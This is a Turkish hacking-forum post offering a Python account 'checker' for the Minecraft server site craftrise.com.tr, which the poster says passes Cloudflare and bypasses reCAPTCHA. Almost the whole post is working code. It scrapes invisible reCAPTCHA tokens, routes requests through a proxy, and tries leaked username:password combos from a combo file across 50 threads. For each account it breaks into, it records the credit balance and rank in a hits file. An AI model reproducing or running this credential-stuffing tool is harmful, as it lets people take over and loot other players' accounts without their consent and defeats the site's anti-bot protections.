leet13s
Bronz Üye
- Katılım
- 5 Mar 2021
- Mesajlar
- 28
- Beğeniler
- 3
cloudflare geçer, recaptcha bypassı var, sadece proxy gerektirir
Python:
import threading, tls_client, requests, re
from urllib.parse import urlparse, parse_qs
PROXY = 'user:pass@host:port'
def read_from_file(file_path):
with open(file_path, 'r', encoding='utf-8') as file:
return file.read()
def write_to_file(file_path, content):
with open(file_path, 'a', encoding='utf-8') as file:
if content not in read_from_file(file_path):
file.write(f'{content}\n')
def bypass():
anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfhmvEmAAAAAKCG7yu5dywabnggUDi5aFuJOgpf&co=aHR0cHM6Ly93d3cuY3JhZnRyaXNlLmNvbS50cjo0NDM.&hl=tr&v=TqxSU0dsOd2Q9IbI7CpFnJLD&size=invisible&cb=qpxzjd9v9m4g"
reload_url = "https://www.google.com/recaptcha/enterprise/reload?k=6LfhmvEmAAAAAKCG7yu5dywabnggUDi5aFuJOgpf"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0"}
r = requests.get(anchor_url, headers=headers)
token = re.search(r'id="recaptcha-token" value="([^"]+)"', r.text).group(1)
params = parse_qs(urlparse(anchor_url).query)
data = {
"v": params['v'][0],
"reason": "q",
"c": token,
"k": params['k'][0],
"co": params['co'][0],
"hl": "en",
"size": "invisible"
}
headers.update({"Referer": r.url, "Content-Type": "application/x-www-form-urlencoded"})
r = requests.post(reload_url, headers=headers, data=data)
return re.search(r'\["rresp","([^"]+)"', r.text).group(1) if '["rresp","' in r.text else None
class Checker:
def __init__(self):
self.session = tls_client.Session(client_identifier="chrome_120")
self.session.headers = {
'accept': '*/*',
'accept-language': 'tr-TR,tr;q=0.5',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'origin': 'https://www.craftrise.com.tr',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://www.craftrise.com.tr/',
'sec-ch-ua': '"Chromium";v="124", "Brave";v="124", "Not-A.Brand";v="99"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'sec-gpc': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
'x-requested-with': 'XMLHttpRequest',
}
self.session.proxies = {
'http': f'http://{PROXY}',
'https': f'http://{PROXY}'
}
def check_account(self, username, password):
data = {
'value': username,
'password': password,
'grecaptcharesponse': bypass()
}
output = self.session.post('https://www.craftrise.com.tr/posts/post-login.php', data=data)
if 'success' == output.json()['resultType']:
shop = self.session.get('https://www.craftrise.com.tr/shop')
current_credits = re.search(r'<span id="currentCredits">(\d+\s*RC)</span>', shop.text)
rc = current_credits.group(1).strip() if current_credits else "0 RC"
site_username = username
if '@' in username:
profile_page = self.session.get('https://www.craftrise.com.tr/profil')
personal_username = re.search(r'<input id="personalUsername" value="([^"]+)"', profile_page.text)
if personal_username:
site_username = personal_username.group(1)
player_page = self.session.get(f'https://www.craftrise.com.tr/oyuncu/{site_username}')
membership_type_match = re.search(r'<div class="rankButton">\s*<p>([^<]+)</p>', player_page.text)
membership_type = membership_type_match.group(1).strip() if membership_type_match else "OYUNCU"
print(f'[+] {username}:{password} | {rc} | {membership_type}')
if 'OYUNCU' != membership_type or '0 RC' != rc:
write_to_file('hits.txt', f'{username}:{password} | {rc} | {membership_type}')
else:
print(f'[-] {username}:{password} | {output.json()['resultMessage']}')
def process_line(line):
try:
if len(line.split(":")) != 2:
return
instance = Checker()
r = instance.session.get("https://www.craftrise.com.tr")
if r.status_code == 200:
instance.check_account(*line.strip().split(":"))
except:
write_to_file('unchecked.txt', line)
pass
def main():
lines = open('combo.txt', 'r', encoding='utf-8').readlines()
threads = []
for line in lines:
line = line.strip()
while threading.active_count() > 50:
pass
thread = threading.Thread(target=process_line, args=(line,))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if __name__ == '__main__':
main()